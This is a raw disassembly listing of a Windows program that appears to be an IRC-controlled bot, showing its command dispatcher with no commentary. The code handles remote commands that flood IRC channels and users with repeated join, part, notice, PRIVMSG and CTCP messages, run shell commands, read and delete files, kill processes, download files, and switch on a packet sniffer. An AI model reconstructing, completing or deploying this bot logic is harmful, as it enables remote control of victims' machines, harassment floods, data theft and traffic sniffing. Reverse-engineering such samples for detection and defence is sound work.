		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B538
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B534
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA64 ; " "
		push	offset dword_42B530
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B520
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B51C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA64 ; " "
		push	offset dword_42B530
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B508
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA64 ; " "
		push	offset dword_42B530
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA64 ; " "
		push	offset dword_42B530
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 26808E8h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B498
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B484
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B480
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 26808E8h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B458
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h

loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B520
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B520
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B520
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B410
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3F8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3E0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3E0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B410
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D403C

loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB03C

loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA75C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B380
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------

loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B280
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]

loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B250
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_405C30

loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------

loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		call	near ptr 2670914h
		nop
		push	eax
		push	offset dword_42B214
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B1AC
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B184
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]

loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B154
		push	eax
		call	sub_41B886
		push	ebx
